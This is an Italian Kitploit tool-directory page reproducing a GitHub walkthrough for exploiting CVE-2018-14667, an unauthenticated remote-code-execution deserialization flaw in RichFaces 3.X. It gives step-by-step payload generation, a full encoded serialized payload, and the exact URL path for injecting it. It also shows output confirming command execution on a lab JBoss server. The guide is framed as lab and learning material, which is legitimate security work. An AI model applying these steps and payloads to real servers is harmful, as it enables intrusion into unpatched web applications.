Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2018-14667 — Tutto su CVE-2018-14667; Da cos'è a come sfruttarlo con successo. | Kitploit
Strumenti/GitHubGitHub/syriusbughunt/cve-2018-14667
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebApprendimento e FormazioneSviluppo PayloadLab e Pratica
GitHubsyriusbughunt/cve-2018-14667

CVE-2018-14667

Tutto su CVE-2018-14667; Da cos'è a come sfruttarlo con successo.

Vedi Repository
50927 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2018-14667

Dopo aver trascorso molto tempo per comprendere e sfruttare correttamente questa CVE, ho deciso di creare un repository sul bug RCE di RichFaces 3.X e condividere i HOWTO passo dopo passo con la comunità.

0x00 : Introduzione al bug di RichFaces 3.X

Lunedì 19 novembre, Joao F M Figueiredo ha pubblicato un articolo ben dettagliato (https://seclists.org/fulldisclosure/2018/Nov/47) su una vulnerabilità critica ad alto rischio di RichFaces.
Punteggio Base CVSS3: 9.8

Questa vulnerabilità consentirà a qualsiasi utente non autenticato di eseguire codice in remoto su qualsiasi applicazione web che utilizza RichFaces 3.X (tutte le versioni), che è praticamente lo scenario peggiore.

0x01 : Sono affetto? 

Bene, se stai eseguendo RichFaces 3.X (qualsiasi versione di RichFaces 3) e vedi il seguente codice nel tuo sorgente, è probabile che sì, potresti essere vulnerabile all'esecuzione remota di codice su CVE-2018-14667:

  • org.ajax4jsf.resource.InternetResource
  • org.ajax4jsf.resource.SerializableResource
  • javax.el.Expression
  • javax.faces.el.MethodBinding
  • javax.faces.component,StateHolderSaver
  • java.awt.Color

0x02 : Esecuzione di un ambiente vulnerabile per testare il bug 

Fondamentalmente, spiegherò nuovamente quanto già trattato nell'articolo di seclists.org su come distribuire un ambiente vulnerabile.

  1. Scarica JBoss 5.1.0GA e un'applicazione demo con RichFaces che contiene l'applicazione PhotoAlbum.
    → http://downloads.jboss.org/richfaces/releases/3.3.X/3.3.4.Final/richfaces-examples-3.3.4.Final.zip
    → https://sourceforge.net/projects/jboss/files/JBoss/JBoss-5.1.0.GA/
  2. Decomprimi l'archivio ZIP.
  3. Copia l'applicazione richfaces-examples-3.3.4.Final/photoalbum/dist/photoalbum-ear-3.3.4.Final.ear nella directory di deploy di JBoss jboss-5.1.0.GA/server/default/deploy/
  4. Avvia il server applicativo JBoss usando la seguente sintassi (assicurati prima di avviare che la porta 8080 non sia già in uso): cd bin ; ./run.sh -b 0.0.0.0
  5. Dovrai navigare alla pagina Index di PhotoAlbum per attivare l'applicazione web.

0x03 : Generazione di un payload valido 

Ora la parte divertente! È qui che ho incontrato difficoltà, quindi spiegherò in dettaglio come generare un payload valido senza ripetere gli stessi errori che ho fatto. Suggerirei prima di usare Eclipse per compilare il payload.

  1. Scarica Eclipse dal seguente link:
    → https://www.eclipse.org/downloads/
  2. Avvia Eclipse e scegli di creare un nuovo Web Project.
  3. Ottieni il generatore di payload (crediti a orich1 da https://xz.aliyun.com/t/3264) disponibile in questo repository
    → https://raw.githubusercontent.com/syriusbughunt/CVE-2018-14667/master/Main.java
  4. Estrai l'archivio WAR in questo repository (richfaces-demo-3.3.0.GA-tomcat6.war), copia tutti i file .jar dalla cartella WEB-INF/lib/ a WebContent/WEB-INF/lib/ nel tuo Java Web Project in Eclipse
    → https://github.com/syriusbughunt/CVE-2018-14667/blob/master/richfaces-demo-3.3.0.GA-tomcat6.war
  5. Aggiungi il file Main.java in Eclipse; fai clic destro sul nome del tuo Java Web Project in Eclipse, New, File.
  6. Imposta la cartella WebContent/WEB-INF/lib come sorgente del Build Path in Eclipse; fai clic destro sulla cartella lib, Build Path, Use as Source Folder.
  7. Vediamo se sei fortunato; clicca sul pulsante verde Play per eseguire il compilatore. Se ottieni 0 errori e un payload valido nell'output, congratulazioni, ora hai un payload valido per CVE-2018-14667. Ora, se stai riscontrando ogni tipo di errore, niente panico. Potresti voler commentare le seguenti righe: 29,30,31,32,33,34,35 in modo che appaiano così:
root@kitploit:~
        // Class clazz = Class.forName("javax.el.MethodExpression");
        // Field field = clazz.getField("serialVersionUID");
        // field.setAccessible(true);
        // Field modifiersField = Field.class.getDeclaredField("modifiers");
        // modifiersField.setAccessible(true);
        // modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
        // field.setLong(null, MethodExpressionSerialVersionUID);

Il risultato dell'output in Eclipse dovrebbe essere simile al seguente:

root@kitploit:~
/DATA/eAHNVU1rE0EYnkarbf2qtqhVhLiKTUVmW6mHWgOFKiqkFpq2fvQgk82bZOJ-dWY2WSwVRUSwIkjxpiJ4bS!6B!ToJ9Jf4EEREUEE8SbOzKaJDeqhp-xpZvfZ533med59d-ErauYMHfRYHpMiCfuLPIcZcC9gFuAJDmysstk!wehxIghSV8eRLzG0NoU2WQyIgGHPFeAKgbaliqRETJu4eXM0UwRLDKbQegh9Kjmn0RXUlEItjpelOQrZyr65ROwA9Cb0pZYDiiLEOWIBx5bn-J4ruXFayEKnPDsLLE1KwM6!fJqcv!9mJIZiKdRq2YTzM8SBlRrSglE3LzW0cflOVnMItD1SST0zDYwSm14mGRsGQ1-V75YlMQ9cLcAGwTHYeJzkR0AUvOyJ0Jcn4dRztQ8INW1EKGSoKxItofW4J-bLuQ8!--!ENK6jiqsxPb5xK!39wtIxhVAKBlQYjFqFyIKAYuL7NrWIkGUjH-qLnGUSAgwn7l07ujD2UXvSmSEcohBqtQTapQ8fmmCbk8r42jNp0zqfMB3k7hqqvtZgqLJqkULjSmgx43HtUR3bace3BxZn287Ni-7Io53Vs9dBy21Xp94!-3VXGaC4W8uP0PV9MwymA-AC50EMq3gTPdVlyiOyD-QNWy6ih4Zix6rz8FjgCuqAofGR!IQhWWr3qVvyLkHCDWy7B0MIVsIQXmAV4qZwfJOoy-iZ!U-qvh9KA!auMKDeKOVA5tuOHxuebx1RDmjbyjcb42goYKhjSqccmVb5VBaXJj993jNzUjej7PGYQJ3aWerh0UD4gZBAII5A7TXDoy6TnpSX0Duz2rqmA1lKordMCIn0A7hZ9CGf1mscFoRjx4d6D!XGh!r6Dvf1J40VAyXZAE1ghHpwrdGj6R-zoa6f!xwNKvR2zbCl!ADNNcCB4hCNY7RZBxgIamM52EHF9xa9Xl18BTleL-YCN2lU2BsrOpVCVyWFh-h2I6Sw!Bf8Wwyv0IvVxVAMuEgay9SNkYFALao7xuUo!w0w9PXD.jsf

0x04 : Invio del payload e ottenere l'esecuzione remota di codice 

Naviga nel tuo browser al tuo server JBoss locale che esegue l'applicazione web PhotoAlbum http://192.168.100.2:8080/photoalbum e fai clic destro per visualizzare il codice sorgente. Premi Ctrl+F e cerca '/DATA/'. Dovresti trovare qualcosa di simile a questo:

root@kitploit:~
src="/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/eAF1Uk1rFEEQrQwGEz9AXVFyCMQoCiI9JCZeYkBQ0cCsQccI6ql2pna2h57ptrtndzDozYuCF6!evOpFf4HXgJf8BkFEBBHEq929QUnAvlXx6r1Xr!rtd5g0Gs5LXTAssV0qTZ9pMrLRGbENQ!rOTnFmQ!NraBH86yx!i2BfAoczTWjpqqwt1dbCsaTEIcYC6yJe75WU2ZUE9lOruON8BE9hIoGpSua8zynfqSeHKBoKRaucl7OeomV9zMiwTFZK1o6bpdYJ3ZQiJ53ikPT9rQ-rr15!6kYQJTCdCTTmFla020NqNa8L5-GAcTN54LBwYuySyzglzVHwx9gTtNIqL3!OSTLT1MGAIGsYCXYXiy7Zgcyvt8ptYrisQw4AE4cAWg0zY9MOuhf3Pt568fn30sso4Dp!cf-Y3jx7nv58sH3ZI7yDU!4YZU-aIL2Xb61Sovfj5K-DH492vbYPbmo0CzOnN3mFBSUSXURMIa!tmm88AWg0dB6GpZk!jcsyxPJu-96Xr7ObN4Kw2yeycNz7Y1yy9caqxjogYWXhSGiH2fFZlWpHKdyOeZ2JJicTB-3YCO6KgRyxdmArMXfl4sKFhcVLc7u-yer8f63OuxuoP9Xj4!8_" style="opacity: 0.1" class="main-image"><span class="rich-tool-tip tooltip" 

Puoi vedere chiaramente l'oggetto serializzato. Qui è dove sostituiremo l'oggetto serializzato con il nostro payload per ottenere l'esecuzione remota di codice. Nel tuo browser, cambia l'URL in http://192.168.100.2:8080/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/YOUR-PAYLOAD-GENERATED-IN-ECLIPSE. Il mio payload eseguiva il comando 'touch /tmp/PoorRichFaces'. Vediamo se ho avuto successo:

root@kitploit:~
drwxrwxrwt 12 root   root    32768 Nov 30 01:45 .
drwxr-xr-x 25 root   root     4096 Nov 25 12:57 ..
-rw-rw-r--  1 syrius syrius      0 Nov 30 1:27 PoorRichFaces 

Sensazione fantastica, vero? Abbiamo appena ottenuto RCE su un'applicazione web Java che esegue RichFaces 3.X.

0x05 : Come applicare la patch? 

Potrebbe non piacerti questo fatto, quindi preparati e tienti alla tastiera; RichFaces ha raggiunto la fine del ciclo di vita per il supporto del loro prodotto, quindi gli utenti (tu) dovrebbero applicare la propria patch. Niente panico, se non trovi un modo per applicare la patch, non esitare a contattarmi, possiamo accordarci in modo che io possa patchare le tue applicazioni web Java.

E-mail: [email protected]

Scarica lo strumento